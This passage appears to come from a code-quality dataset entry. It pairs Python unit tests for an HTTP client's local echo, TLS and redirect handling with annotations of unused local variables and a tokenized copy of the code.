'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': 'localhost',\n 'port': 6101,\n 'scheme': 'https',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n alpha.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronPipelineEchoSimpleSecure", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2670 }, { "content": " def testPatronPipelineEchoSimpleSecurePath(self):\n \"\"\"\n Test Patron pipeline servicing\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronPipelineEchoSimpleSecurePath.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key\n serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert\n clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert\n\n clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key\n clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert\n serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert\n\n serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname\n\n alpha = tcp.ServerTls(host=serverCertCommonName,\n port = 6101,\n bufsize=131072,\n wlog=wireLogAlpha,\n context=None,\n version=None,\n certify=None,\n keypath=serverKeypath,\n certpath=serverCertpath,\n cafilepath=clientCafilepath,\n )\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('127.0.0.1', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n console.terse(\"{0}\\n\".format(\"Building Patron ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n #host = alpha.eha[0]\n #port = alpha.eha[1]\n path = \"https://{0}:{1}/\".format(serverCertCommonName, alpha.eha[1])\n\n beta = clienting.Patron(path=path,\n bufsize=131072,\n wlog=wireLogBeta,\n reconnectable=True,\n keypath=clientKeypath,\n certpath=clientCertpath,\n cafilepath=serverCafilepath,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n request = odict([('method', u'GET'),\n ('path', u'/echo?name=fame'),\n ('qargs', odict()),\n ('fragment', u''),\n ('headers', odict([('Accept', 'application/json')])),\n ('body', None),\n ])\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoServiceSecure(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': 'localhost',\n 'port': 6101,\n 'scheme': 'https',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockEchoServiceSecure(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'request':\n {'host': 'localhost',\n 'port': 6101,\n 'scheme': 'https',\n 'method': 'GET',\n 'path': '/echo',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n alpha.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronPipelineEchoSimpleSecurePath", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2839 }, { "content": " def mockRedirectService(self, server):\n \"\"\"\n mock echo server service\n \"\"\"\n server.serviceConnects()\n if server.ixes:\n server.serviceReceivesAllIx()\n\n ixClient = server.ixes.values()[0]\n msgIn = bytes(ixClient.rxbs)\n if msgIn == b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n':\n ixClient.clearRxbs()\n msgOut = b'HTTP/1.1 307 Temporary Redirect\\r\\nContent-Type: text/plain\\r\\nContent-Length: 0\\r\\nAccess-Control-Allow-Origin: *\\r\\nLocation: http://localhost:6101/redirect?name=fame\\r\\n\\r\\n'\n ixClient.tx(msgOut)\n msgIn = b''\n msgOut = b''\n\n elif msgIn== b'GET /redirect?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n':\n ixClient.clearRxbs()\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixClient.tx(msgOut)\n msgIn = b''\n msgOut = b''\n\n server.serviceTxesAllIx()", "metadata": "root.BasicTestCase.mockRedirectService", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 3006 }, { "content": " def testPatronRedirectSimple(self):\n \"\"\"\n Test Patron redirect\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronRedirectSimple.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n console.terse(\"{0}\\n\".format(\"Building Connector ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n host = alpha.eha[0]\n port = alpha.eha[1]\n\n beta = clienting.Patron(bufsize=131072,\n wlog=wireLogBeta,\n hostname=host,\n port=port,\n reconnectable=True,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n request = odict([('method', u'GET'),\n ('path', u'/echo?name=fame'),\n ('qargs', odict()),\n ('fragment', u''),\n ('headers', odict([('Accept', 'application/json')])),\n ('body', None),\n ])\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockRedirectService(alpha)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'redirects': [{'body': bytearray(b''),\n 'data': None,\n 'headers': {'access-control-allow-origin': '*',\n 'content-length': '0',\n 'content-type': 'text/plain',\n 'location': 'http://localhost:6101/redirect?name=fame'},\n 'reason': 'Temporary Redirect',\n 'error': None,\n 'errored': False,\n 'request': {'body': b'',\n 'data': None,\n 'fargs': None,\n 'fragment': '',\n 'headers': {'accept': 'application/json'},\n 'host': '127.0.0.1',\n 'method': 'GET',\n 'path': '/echo',\n 'port': 6101,\n 'qargs': {'name': 'fame'},\n 'scheme': 'http'},\n 'status': 307,\n 'version': (1, 1)}],\n 'request':\n {'host': '127.0.0.1',\n 'port': 6101,\n 'scheme': 'http',\n 'method': 'GET',\n 'path': '/redirect',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n\n\n alpha.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronRedirectSimple", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 3032 }, { "content": " def mockRedirectComplexServiceA(self, server):\n \"\"\"\n mock echo server service\n \"\"\"\n server.serviceConnects()\n if server.ixes:\n server.serviceReceivesAllIx()\n\n ixClient = server.ixes.values()[0]\n msgIn = bytes(ixClient.rxbs)\n if msgIn == b'GET /echo?name=fame HTTP/1.1\\r\\nHost: 127.0.0.1:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n':\n ixClient.clearRxbs()\n msgOut = b'HTTP/1.1 307 Temporary Redirect\\r\\nContent-Type: text/plain\\r\\nContent-Length: 0\\r\\nAccess-Control-Allow-Origin: *\\r\\nLocation: http://localhost:6103/redirect?name=fame\\r\\n\\r\\n'\n ixClient.tx(msgOut)\n msgIn = b''\n msgOut = b''\n\n server.serviceTxesAllIx()", "metadata": "root.BasicTestCase.mockRedirectComplexServiceA", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 3154 }, { "content": " def mockRedirectComplexServiceG(self, server):\n \"\"\"\n mock echo server service\n \"\"\"\n server.serviceConnects()\n if server.ixes:\n server.serviceReceivesAllIx()\n\n ixClient = server.ixes.values()[0]\n msgIn = bytes(ixClient.rxbs)\n\n if msgIn== b'GET /redirect?name=fame HTTP/1.1\\r\\nHost: localhost:6103\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n':\n ixClient.clearRxbs()\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixClient.tx(msgOut)\n msgIn = b''\n msgOut = b''\n\n server.serviceTxesAllIx()", "metadata": "root.BasicTestCase.mockRedirectComplexServiceG", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 3173 }, { "content": " def testPatronRedirectComplex(self):\n \"\"\"\n Test Patron redirect\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronRedirectComplex.__doc__))\n\n\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n alpha = tcp.Server(port = 6101, bufsize=131072, wlog=wireLogAlpha)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('0.0.0.0', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n wireLogGamma = wiring.WireLog(buffify=True, same=True)\n result = wireLogGamma.reopen()\n\n gamma = tcp.Server(port = 6103, bufsize=131072, wlog=wireLogGamma)\n self.assertIs(gamma.reopen(), True)\n self.assertEqual(gamma.ha, ('0.0.0.0', 6103))\n self.assertEqual(gamma.eha, ('127.0.0.1', 6103))\n\n console.terse(\"{0}\\n\".format(\"Building Connector ...\\n\"))\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n host = alpha.eha[0]\n port = alpha.eha[1]\n\n beta = clienting.Patron(bufsize=131072,\n wlog=wireLogBeta,\n hostname=host,\n port=port,\n reconnectable=True,\n )\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n request = odict([('method', u'GET'),\n ('path', u'/echo?name=fame'),\n ('qargs', odict()),\n ('fragment', u''),\n ('headers', odict([('Accept', 'application/json')])),\n ('body', None),\n ])\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockRedirectComplexServiceA(alpha)\n self.mockRedirectComplexServiceG(gamma)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'redirects': [{'body': bytearray(b''),\n 'data': None,\n 'headers': {'access-control-allow-origin': '*',\n 'content-length': '0',\n 'content-type': 'text/plain',\n 'location': 'http://localhost:6103/redirect?name=fame'},\n 'reason': 'Temporary Redirect',\n 'error': None,\n 'errored': False,\n 'request': {'body': b'',\n 'data': None,\n 'fargs': None,\n 'fragment': '',\n 'headers': {'accept': 'application/json'},\n 'host': '127.0.0.1',\n 'method': 'GET',\n 'path': '/echo',\n 'port': 6101,\n 'qargs': {'name': 'fame'},\n 'scheme': 'http'},\n 'status': 307,\n 'version': (1, 1)}],\n 'request':\n {'host': 'localhost',\n 'port': 6103,\n 'scheme': 'http',\n 'method': 'GET',\n 'path': '/redirect',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n alpha.close()\n gamma.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogGamma.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronRedirectComplex", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 3194 }, { "content": " def mockRedirectComplexServiceASecure(self, server):\n \"\"\"\n mock echo server service\n \"\"\"\n server.serviceConnects()\n if server.ixes:\n server.serviceReceivesAllIx()\n\n ixClient = server.ixes.values()[0]\n msgIn = bytes(ixClient.rxbs)\n if msgIn == b'GET /echo?name=fame HTTP/1.1\\r\\nHost: localhost:6101\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n':\n ixClient.clearRxbs()\n msgOut = b'HTTP/1.1 307 Temporary Redirect\\r\\nContent-Type: text/plain\\r\\nContent-Length: 0\\r\\nAccess-Control-Allow-Origin: *\\r\\nLocation: https://localhost:6103/redirect?name=fame\\r\\n\\r\\n'\n ixClient.tx(msgOut)\n msgIn = b''\n msgOut = b''\n\n server.serviceTxesAllIx()", "metadata": "root.BasicTestCase.mockRedirectComplexServiceASecure", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 3325 }, { "content": " def mockRedirectComplexServiceGSecure(self, server):\n \"\"\"\n mock echo server service\n \"\"\"\n server.serviceConnects()\n if server.ixes:\n server.serviceReceivesAllIx()\n\n ixClient = server.ixes.values()[0]\n msgIn = bytes(ixClient.rxbs)\n\n if msgIn== b'GET /redirect?name=fame HTTP/1.1\\r\\nHost: localhost:6103\\r\\nAccept-Encoding: identity\\r\\nAccept: application/json\\r\\n\\r\\n':\n ixClient.clearRxbs()\n msgOut = b'HTTP/1.1 200 OK\\r\\nContent-Length: 122\\r\\nContent-Type: application/json\\r\\nDate: Thu, 30 Apr 2015 19:37:17 GMT\\r\\nServer: IoBook.local\\r\\n\\r\\n{\"content\": null, \"query\": {\"name\": \"fame\"}, \"verb\": \"GET\", \"url\": \"http://127.0.0.1:8080/echo?name=fame\", \"action\": null}'\n ixClient.tx(msgOut)\n msgIn = b''\n msgOut = b''\n\n server.serviceTxesAllIx()", "metadata": "root.BasicTestCase.mockRedirectComplexServiceGSecure", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 3344 }, { "content": " def testPatronRedirectComplexSecure(self):\n \"\"\"\n Test Patron redirect\n \"\"\"\n console.terse(\"{0}\\n\".format(self.testPatronRedirectComplexSecure.__doc__))\n\n\n\n serverCertCommonName = 'localhost' # match hostname uses servers's cert commonname\n serverKeypath = '/etc/pki/tls/certs/server_key.pem' # local server private key\n serverCertpath = '/etc/pki/tls/certs/server_cert.pem' # local server public cert\n clientCafilepath = '/etc/pki/tls/certs/client.pem' # remote client public cert\n\n wireLogAlpha = wiring.WireLog(buffify=True, same=True)\n result = wireLogAlpha.reopen()\n\n alpha = tcp.ServerTls(host=serverCertCommonName,\n port = 6101,\n bufsize=131072,\n wlog=wireLogAlpha,\n context=None,\n version=None,\n certify=None,\n keypath=serverKeypath,\n certpath=serverCertpath,\n cafilepath=clientCafilepath,)\n self.assertIs(alpha.reopen(), True)\n self.assertEqual(alpha.ha, ('127.0.0.1', 6101))\n self.assertEqual(alpha.eha, ('127.0.0.1', 6101))\n\n wireLogGamma = wiring.WireLog(buffify=True, same=True)\n result = wireLogGamma.reopen()\n\n gamma = tcp.ServerTls(host=serverCertCommonName,\n port = 6103,\n bufsize=131072,\n wlog=wireLogGamma,\n context=None,\n version=None,\n certify=None,\n keypath=serverKeypath,\n certpath=serverCertpath,\n cafilepath=clientCafilepath)\n self.assertIs(gamma.reopen(), True)\n self.assertEqual(gamma.ha, ('127.0.0.1', 6103))\n self.assertEqual(gamma.eha, ('127.0.0.1', 6103))\n\n console.terse(\"{0}\\n\".format(\"Building Connector ...\\n\"))\n\n clientKeypath = '/etc/pki/tls/certs/client_key.pem' # local client private key\n clientCertpath = '/etc/pki/tls/certs/client_cert.pem' # local client public cert\n serverCafilepath = '/etc/pki/tls/certs/server.pem' # remote server public cert\n\n wireLogBeta = wiring.WireLog(buffify=True, same=True)\n result = wireLogBeta.reopen()\n host = serverCertCommonName\n port = alpha.eha[1]\n\n beta = clienting.Patron(bufsize=131072,\n wlog=wireLogBeta,\n hostname=host,\n port=port,\n reconnectable=True,\n scheme='https',\n certedhost=serverCertCommonName,\n keypath=clientKeypath,\n certpath=clientCertpath,\n cafilepath=serverCafilepath,)\n\n self.assertIs(beta.connector.reopen(), True)\n self.assertIs(beta.connector.accepted, False)\n self.assertIs(beta.connector.connected, False)\n self.assertIs(beta.connector.cutoff, False)\n\n request = odict([('method', u'GET'),\n ('path', u'/echo?name=fame'),\n ('qargs', odict()),\n ('fragment', u''),\n ('headers', odict([('Accept', 'application/json')])),\n ('body', None),\n ])\n\n beta.requests.append(request)\n\n while (not alpha.ixes or beta.requests or\n beta.connector.txes or not beta.respondent.ended):\n self.mockRedirectComplexServiceASecure(alpha)\n self.mockRedirectComplexServiceGSecure(gamma)\n time.sleep(0.05)\n beta.serviceAll()\n time.sleep(0.05)\n\n self.assertEqual(len(beta.connector.rxbs), 0)\n self.assertIs(beta.waited, False)\n self.assertIs(beta.respondent.ended, True)\n\n self.assertEqual(len(beta.responses), 1)\n response = beta.responses.popleft()\n self.assertEqual(response, {'version': (1, 1),\n 'status': 200,\n 'reason': 'OK',\n 'headers':\n {'content-length': '122',\n 'content-type': 'application/json',\n 'date': 'Thu, 30 Apr 2015 19:37:17 GMT',\n 'server': 'IoBook.local'},\n 'body': bytearray(b''),\n 'data': {'action': None,\n 'content': None,\n 'query': {'name': 'fame'},\n 'url': 'http://127.0.0.1:8080/echo?name=fame',\n 'verb': 'GET'},\n 'error': None,\n 'errored': False,\n 'redirects': [{'body': bytearray(b''),\n 'data': None,\n 'headers': {'access-control-allow-origin': '*',\n 'content-length': '0',\n 'content-type': 'text/plain',\n 'location': 'https://localhost:6103/redirect?name=fame'},\n 'reason': 'Temporary Redirect',\n 'error': None,\n 'errored': False,\n 'request': {'body': b'',\n 'data': None,\n 'fargs': None,\n 'fragment': '',\n 'headers': {'accept': 'application/json'},\n 'host': 'localhost',\n 'method': 'GET',\n 'path': '/echo',\n 'port': 6101,\n 'qargs': {'name': 'fame'},\n 'scheme': 'https'},\n 'status': 307,\n 'version': (1, 1)}],\n 'request':\n {'host': 'localhost',\n 'port': 6103,\n 'scheme': 'https',\n 'method': 'GET',\n 'path': '/redirect',\n 'qargs': {'name': 'fame'},\n 'fragment': '',\n 'headers':\n {'accept': 'application/json'},\n 'body': b'',\n 'data': None,\n 'fargs': None,\n }\n })\n\n alpha.close()\n gamma.close()\n beta.connector.close()\n\n wireLogAlpha.close()\n wireLogGamma.close()\n wireLogBeta.close()", "metadata": "root.BasicTestCase.testPatronRedirectComplexSecure", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 3364 } ]
[ { "span": "result ", "start_line": 80, "start_column": 8, "end_line": 80, "end_column": 14 }, { "span": "result ", "start_line": 204, "start_column": 8, "end_line": 204, "end_column": 14 }, { "span": "result ", "start_line": 357, "start_column": 8, "end_line": 357, "end_column": 14 }, { "span": "result ", "start_line": 510, "start_column": 8, "end_line": 510, "end_column": 14 }, { "span": "result ", "start_line": 664, "start_column": 8, "end_line": 664, "end_column": 14 }, { "span": "result ", "start_line": 830, "start_column": 8, "end_line": 830, "end_column": 14 }, { "span": "result ", "start_line": 986, "start_column": 8, "end_line": 986, "end_column": 14 }, { "span": "result ", "start_line": 1145, "start_column": 8, "end_line": 1145, "end_column": 14 }, { "span": "result ", "start_line": 1309, "start_column": 8, "end_line": 1309, "end_column": 14 }, { "span": "result ", "start_line": 1439, "start_column": 8, "end_line": 1439, "end_column": 14 }, { "span": "result ", "start_line": 1568, "start_column": 8, "end_line": 1568, "end_column": 14 }, { "span": "msgIn ", "start_line": 1766, "start_column": 16, "end_line": 1766, "end_column": 21 }, { "span": "msgOut ", "start_line": 1767, "start_column": 16, "end_line": 1767, "end_column": 22 }, { "span": "result ", "start_line": 1790, "start_column": 8, "end_line": 1790, "end_column": 14 }, { "span": "msgIn ", "start_line": 1929, "start_column": 16, "end_line": 1929, "end_column": 21 }, { "span": "msgOut ", "start_line": 1930, "start_column": 16, "end_line": 1930, "end_column": 22 }, { "span": "result ", "start_line": 1953, "start_column": 8, "end_line": 1953, "end_column": 14 }, { "span": "result ", "start_line": 2100, "start_column": 8, "end_line": 2100, "end_column": 14 }, { "span": "msgIn ", "start_line": 2247, "start_column": 16, "end_line": 2247, "end_column": 21 }, { "span": "msgOut ", "start_line": 2248, "start_column": 16, "end_line": 2248, "end_column": 22 }, { "span": "result ", "start_line": 2274, "start_column": 8, "end_line": 2274, "end_column": 14 }, { "span": "result ", "start_line": 2433, "start_column": 8, "end_line": 2433, "end_column": 14 }, { "span": "msgIn ", "start_line": 2665, "start_column": 16, "end_line": 2665, "end_column": 21 }, { "span": "msgOut ", "start_line": 2666, "start_column": 16, "end_line": 2666, "end_column": 22 }, { "span": "result ", "start_line": 2709, "start_column": 8, "end_line": 2709, "end_column": 14 }, { "span": "host ", "start_line": 2710, "start_column": 8, "end_line": 2710, "end_column": 12 }, { "span": "port ", "start_line": 2711, "start_column": 8, "end_line": 2711, "end_column": 12 }, { "span": "result ", "start_line": 2878, "start_column": 8, "end_line": 2878, "end_column": 14 }, { "span": "msgIn ", "start_line": 3020, "start_column": 16, "end_line": 3020, "end_column": 21 }, { "span": "msgOut ", "start_line": 3021, "start_column": 16, "end_line": 3021, "end_column": 22 }, { "span": "msgIn ", "start_line": 3027, "start_column": 16, "end_line": 3027, "end_column": 21 }, { "span": "msgOut ", "start_line": 3028, "start_column": 16, "end_line": 3028, "end_column": 22 }, { "span": "result ", "start_line": 3051, "start_column": 8, "end_line": 3051, "end_column": 14 }, { "span": "msgIn ", "start_line": 3168, "start_column": 16, "end_line": 3168, "end_column": 21 }, { "span": "msgOut ", "start_line": 3169, "start_column": 16, "end_line": 3169, "end_column": 22 }, { "span": "msgIn ", "start_line": 3188, "start_column": 16, "end_line": 3188, "end_column": 21 }, { "span": "msgOut ", "start_line": 3189, "start_column": 16, "end_line": 3189, "end_column": 22 }, { "span": "result ", "start_line": 3221, "start_column": 8, "end_line": 3221, "end_column": 14 }, { "span": "msgIn ", "start_line": 3339, "start_column": 16, "end_line": 3339, "end_column": 21 }, { "span": "msgOut ", "start_line": 3340, "start_column": 16, "end_line": 3340, "end_column": 22 }, { "span": "msgIn ", "start_line": 3359, "start_column": 16, "end_line": 3359, "end_column": 21 }, { "span": "msgOut ", "start_line": 3360, "start_column": 16, "end_line": 3360, "end_column": 22 }, { "span": "result ", "start_line": 3418, "start_column": 8, "end_line": 3418, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Ech", "o_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Ech", "o_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", 